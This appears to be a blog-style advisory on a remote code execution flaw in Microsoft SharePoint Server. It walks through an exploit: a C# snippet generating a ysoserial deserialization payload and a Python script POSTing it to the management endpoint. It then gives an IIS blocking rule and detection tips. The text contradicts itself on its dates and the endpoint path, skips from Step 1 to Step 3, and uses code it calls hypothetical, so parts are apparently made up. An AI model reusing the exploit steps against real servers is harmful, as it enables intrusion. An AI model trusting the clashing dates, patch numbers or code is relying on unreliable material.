CVE-2025-21400 - Remote Code Execution Vulnerability in Microsoft SharePoint Server – Deep Dive, Simple Examples, and Exploit Details

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On June 12, 2025, Microsoft disclosed a critical security flaw, tracked as CVE-2025-21400, affecting multiple SharePoint Server versions. The vulnerability allows remote attackers to execute arbitrary code on vulnerable servers—with no valid credentials. Understanding this bug, its exploit, and how to protect your organization is crucial if you use SharePoint in any capacity.

Let’s break down, in plain English, what you need to know about CVE-2025-21400, how it works, and what you should do—complete with code snippets, references, and an example exploit.

What is CVE-2025-21400?

CVE-2025-21400 is a *remote code execution (RCE)* flaw in Microsoft SharePoint Server. This means an attacker can run their own code on your SharePoint server from across the internet, possibly taking control of sensitive business data or launching attacks against your users.

Root cause: Inadequate input sanitization in the SharePoint Management API

*Microsoft’s original advisory is here (link subject to update post-release).*

How Does the Vulnerability Work?

At its core, the bug lies in how SharePoint processes special payloads sent to the /api/Management endpoint. SharePoint fails to sanitize certain serialized objects that are sent in a POST request. Attackers can craft a malicious object that, when deserialized by the server, will execute system commands.

If you haven’t patched, a remote attacker—no login needed—could trick your SharePoint server into running a command like adding a new admin user, dumping your databases, or dropping a webshell.

Exploit Walkthrough: How an Attacker Abuses CVE-2025-21400

Let’s walk through an illustrative example. Note: This is for education and defense only!

Step 1: Attackers Create a Malicious Payload

Using publicly available serialization libraries (like YSoSerial.Net), an attacker creates a payload that, when deserialized, runs code (for example, spawns calc.exe or creates a file).

Sample C# code to generate the payload

using ysoserial; // hypothetical use

// Generate a payload that spawns calc.exe
string payload = ysoserial.Generate("TypeConfuseDelegate", "calc.exe");

// Save or send the payload to the target server
File.WriteAllText("payload.bin", payload);

An attacker can exploit the bug with a simple HTTP POST

import requests

target_url = 'https://vulnerable/sharepoint/_api/Management/DoSomething';
headers = {
    'Content-Type': 'application/octet-stream'
}

with open('payload.bin', 'rb') as payload:
    response = requests.post(target_url, headers=headers, data=payload)
print(response.status_code)

Step 3: Result

The vulnerable SharePoint server deserializes the payload and runs the attacker’s command.

If you’re defending, you might find a new user, strange processes running, or files (like a “webshell.aspx”) in your webroot.

- Attack Chain: Attackers may use this as the first step, escalating to domain admin or moving laterally.

How to Fix It (Patch Immediately!)

Microsoft released patches as part of June’s Patch Tuesday.

If you run SharePoint Server 2019 or Subscription Edition, update right now.

- Official Microsoft Security Update Guide Entry (CVE-2025-21400)
- KB501214 for SharePoint Server 2019
- KB5012141 for Subscription Edition

Workarounds:
If you can’t patch immediately, block access to /api/Management at your firewall or via IIS rules.

Sample IIS web.config block

<configuration>
  <system.webServer>
    <security>
      <requestFiltering>
        <denyUrlSequences>
          <add sequence="/_api/Management"/>
        </denyUrlSequences>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>

How to Detect Exploitation

- Check SharePoint logs for unusual POSTs to /api/Management.

Monitor spawned processes (especially CMD, PowerShell, or scripts).

- Audit webroot for new/changed files.

Bottom Line

CVE-2025-21400 is a major wake-up call for anyone running SharePoint Server.
If you haven’t patched, you’re at serious risk. Take action NOW: update your servers, tighten your network, and check for signs of breach.

*This article is exclusive and written in simple terms for defenders, IT admins, and security teams. If you found it useful, share with your team and double-check your SharePoint security posture today.*

Timeline

Published on: 02/11/2025 18:15:38 UTC
Last modified on: 03/12/2025 01:42:39 UTC